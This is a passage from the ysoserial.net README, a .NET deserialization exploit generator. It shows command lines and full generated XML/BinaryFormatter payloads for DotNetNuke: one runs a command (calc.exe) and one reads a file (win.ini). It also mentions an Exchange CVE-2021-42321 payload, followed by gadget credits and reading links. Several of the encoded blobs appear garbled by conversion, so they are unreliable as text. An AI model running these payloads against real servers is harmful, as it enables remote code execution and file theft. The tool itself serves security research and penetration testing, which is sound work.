ICAgICAgICAgICAgICAgPFMgtj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWFW0aw9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgICAgPE5pbCB0PSJTXJ2ZXJOYwllIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgICAgPEkzMib0PSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hE0w0KICAgICAgICAgICAgICAgIDxtIE49Ik1pwG1sIj4gJmx000NMqvNTIE5BTU09IL1J1bnNwYWNlSW52b2tlnSIsJmd00yZsdDtQUK9QRVJUWSBOQU1FPSJ0ZXN0MSigVFllQRSa9InN0cmLuZyIgJmd00yZsdDsUUFJPUeVSvfkmZ3Q7Jmx00y9DTEFTUyZndDs8L1M+Jin4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hE0w0KICAgICAgICAgICAgPC9PYmo+Jin4RDsNCiAgICAgICAgICA8L0xTVD4mI3hE0w0KICAgICAgICA8L09iaj4mI3hE0w0KICAgICAgPC9NUz4mI3hE0w0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE

49I19fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hE0w0KICA8L09iaj4mI3hE0w0KPC9PYmpzPgs=

Generate a run_command payload for DotNetNuke using its plugin

```
$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe
```

```
<profile><item key="foo"
type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter
, System.Web, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b03f5f7f11d50a3a],
[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd="
[http://www.w3.org/2001/XMLSchema]([http://www.w3.org/2001/XMLSchema]) " xmlns:xsi="
[http://www.w3.org/2001/XMLSchema-instance]([http://www.w3.org/2001/XMLSchema-instance]) ">
<ExpandedElement/><ProjectedProperty0><MethodName>Deserialize</MethodName>
<MethodParameters><anyType
xsi:type="xsd:string">/wEyxBEAAQAAAP///8BAAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lrbj00LjAuMC4
wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBUI3ZldGVtLkNv
bGxlyY3Rpb25zLkdldmVyawMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcscIGlzY29ybGlilCBWZXJzaW9uPTQuM
C4wLjAsIENlbHR1cmU9bmVldHJhbCwgUHViVG9rZW49Yjc3YTdjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudA
hDb2lwYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWNaW9ucy5HZW5lcmllLkNvbXBhcmlzb25
Db2lwYXJlcmlAxw1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lrbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAGAAAAKDAAAAAGAAAAKEAAAABAMAAACNA
VN5c3RlbS5Db2xsZWNaW9ucy5HZW5lcmllLkNvbXBhcmlzb25Db2lwYXJlcmlAxw1tTeXN0ZW0uU3RyaW5nLCBtc2
NvcmxpYiwgVmVyc2lrbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTk
zNGUwODldXQEAAAALX2NvbXBhcmlzb24DI1N5c3RlbS5EZWxlZ2F0ZVNlcmllbG6YXRpb25Ib2xkZXIJBQAAABEE
AAAAAGAAAAYGAAAACY9jIGNhbGMuZXhlBgcaAAADY2lkBAUAAAAAiU3ldGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvb
khvbGRlcgMAAAAIRGVsZWdhGUHbWV0aG9kMAAdtZXRob2QxAWMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmllbG6YXRpb2
5Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhhvbGR
lcic9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhhvbGRlcgkIAAAACQkAAAAJCgAAAAQI
AAAAAFN5c3RlbS5EZWxlZ2F0ZVNlcmllbG6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3Nlb
WJseQZ0YXJnZXQScGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGV0YW1lcmllldGhvZE5hbWUNZGVsZWdhdGVFbn
RyeQEBAgEBAQMwU3ldGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAACwAlN
5c3RlbS5Gdw5jYDNbW1N5c3RlbS5TdHJpbmcscIGlzY29ybGlilCBWZXJzaW9uPTQuMC4wLjAsIENlbHR1cmU9bmVld
HJhbCwgUHViVG9rZW49Yjc3YTdjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcscIGlzY29ybGlilCBWZ
XJzaW9uPTQuMC4wLjAsIENlbHR1cmU9bmVldHJhbCwgUHViVG9rZW49Yjc3YTdjNTYxOTM0ZTA4OV0sW1
N5c3RlbS5EaWFnbm9zdGJlcjcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmF
sLCBQdWJsawNLZXlUb2tlbjliNzhhdNWMI1NjE5MzRLMDg5XV0GDAAAAEtct2NvcmxpYiwgVmVyc2lrbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3ldGVtLkRlbW
ZXJzaW9uPTQuMC4wLjAsIENlbHR1cmU9bmVldHJhbCwgUHViVG9rZW49Yjc3YTdjNTYxOTM0ZTA4OQY0AA
AAGlN5c3RlbS5EaWFnbm9zdGJlcjcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAALN5c3RlbS5SZWZsZWNaW9
uLk1lbWJlckluZm9TZXJpYXpewF0aW9uSG9sZGVyBwAAAAAR0YW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2ln
bmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRHBHW5lcmlljQXJndW1lbnRzAQEBAQEAAwNU3ldGVtLlR5cGVbX
QkPAAAACQ0AAAAJDgAAAAAYUAAAAPLN5c3RlbS5EaWFnbm9zdGJlcjcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbm
csIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3ldGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3ldGVtLlN0cmll
uZywguU3ldGVtLlN0cmllZykIAAAACgEKAAAAACQAAAAAYWAAAAB0NbXBhcmlUJDAAAAAYYAAAADV5c3RlbS5TdHJp
bmcGGQAAAcTjbnQzMibDB2lwYXJlKFN5c3RlbS5TdHJpbmcscIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3ldGVtLklud
```

```

DMyIENvbXBhcmUoU3lzdGVtLlN0cmLuZywgU3lzdGVtLlN0cmLuZyKIAAAACgEQAAAAACAAAAAYbAAAAcVN5c3RlbS
5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIGlZy29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIENlbHR1cmU9bmV
1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKQwAAAAJGAAAAAKWAAAAAGs=
</anyType></MethodParameters><ObjectInstance xsi:type="ObjectStateFormatter">
</ObjectInstance></ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

```

Generate a read_file payload for DotNetNuke using its plugin

```

$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini

<profile><item key="name1: key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSy
stemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],
System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName>
<MethodParameters><anyType xsi:type="xsd:string">win.ini</anyType></MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

```

Generate a minified BinaryFormatter payload to exploit Exchange CVE-2021-42321 using the ActivitySurrogateDisableTypeCheck gadget inside the ClaimsPrincipal gadget.

v2 Branch

Contributing

- # Thanks

- Oleksandr Mirosh

- [irsdl](#)
- [JarLob](#)
- [DS-Kurt-Boberg](#)
- [mwulftange](#)
- [yallie](#)
- [paralax](#)

Credits

```
$ ./ysoserial.exe --credit
```

ysoserial.net has been originally developed by Alvaro Munoz (@pwntester)

this tool is being maintained by Alvaro Munoz (@pwntester) and Soroush Dalili (@irsdli)

Credits **for** available gadgets:

ActivitySurrogateDisableTypeCheck

[Finders: Nick Landers]

ActivitySurrogateSelector

[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgovh]

ActivitySurrogateSelectorFromFile

[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgovh]

AxHostState

[Finders: Soroush Dalili]

BaseActivationFactory

[Finders: Piotr Bazydlo]

ClaimsIdentity

[Finders: Soroush Dalili]

ClaimsPrincipal

[Finders: jang]

DataSet

[Finders: James Forshaw] [Contributors: Soroush Dalili]

DataSetOldBehaviour

[Finders: Steven Seeley] [Contributors: Soroush Dalili]

DataSetOldBehaviourFromFile

[Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush

Dalili]

DataSetTypeSpooF

[Finders: James Forshaw] [Contributors: Soroush Dalili, Markus

Wulftange, Jang]

GenericPrincipal

[Finders: Soroush Dalili]

GetterCompilerResults

[Finders: Piotr Bazydlo]

GetterSecurityException

[Finders: Piotr Bazydlo]

GetterSettingsPropertyValue

[Finders: Piotr Bazydlo]

ObjectDataProvider

[Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro

Munoz, Soroush Dalili, Dane Evans]

ObjRef

[Finders: Markus Wulftange]

PSObject

```

    [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro
Munoz]

    ResourceSet
        [Finders: Soroush Dalili]
    RolePrincipal
        [Finders: Soroush Dalili]
    SessionSecurityToken
        [Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush
Dalili]
    SessionViewStateHistoryItem
        [Finders: Soroush Dalili]
    TextFormattingRunProperties
        [Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr
Mirosh, Soroush Dalili, Piotr Bazydło]
    ToolboxItemContainer
        [Finders: @frycos]
    TypeConfuseDelegate
        [Finders: James Forshaw] [Contributors: Alvaro Munoz]
    TypeConfuseDelegateMono
        [Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush
Dalili]
    WindowsClaimsIdentity
        [Finders: Soroush Dalili]
    WindowsIdentity
        [Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush
Dalili]
    WindowsPrincipal
        [Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors:
Chris Anastasio]
    XamlAssemblyLoadFromFile
        [Finders: Soroush Dalili] [Contributors: russtone]
    XamlImageInfo
        [Finders: Piotr Bazydło]

Credits for available plugins:
    ActivatorUrl
        Harrison Neal
    Altserialization
        Soroush Dalili
    ApplicationTrust
        Soroush Dalili
    Clipboard
        Soroush Dalili
    DotNetNuke

```

discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch

GetterCallGadgets
Piotr Bazydło

MachineKeySessionSecurityTokenHandler
L@2uR1te

NetNonRceGadgets
Piotr Bazydło

Resx
Soroush Dalili

SessionSecurityTokenHandler
Soroush Dalili

SharePoint
CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up)
- implemented by Soroush Dalili

ThirdPartyGadgets
Piotr Bazydło

TransactionManagerReenlist
Soroush Dalili

ViewState
Soroush Dalili

Various other people have also donated their time and contributed to [this](#) project. Please see <https://github.com/pwntester/ysoserial.net/graphs/contributors> to find those who have helped developing more features or have fixed bugs.

Additional Reading

- [Attacking .NET serialization](#)
- [Friday the 13th: JSON Attacks - Slides](#)
- [Friday the 13th: JSON Attacks - Whitepaper](#)
- [Friday the 13th: JSON Attacks - Video\(demos\)](#)
- [Are you my Type? - Slides](#)
- [Are you my Type? - Whitepaper](#)
- [Exploiting .NET Managed DCOM](#)
- [Exploit Remoting Service](#)
- [Finding and Exploiting .NET Remoting over HTTP using Deserialisation](#)
- [.NET Remoting Revisited](#)
- [Bypassing .NET Serialization Binders](#)
- [Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization - Hexacon 2023 Whitepaper](#)

ysoserial.net references in the wild

Research:

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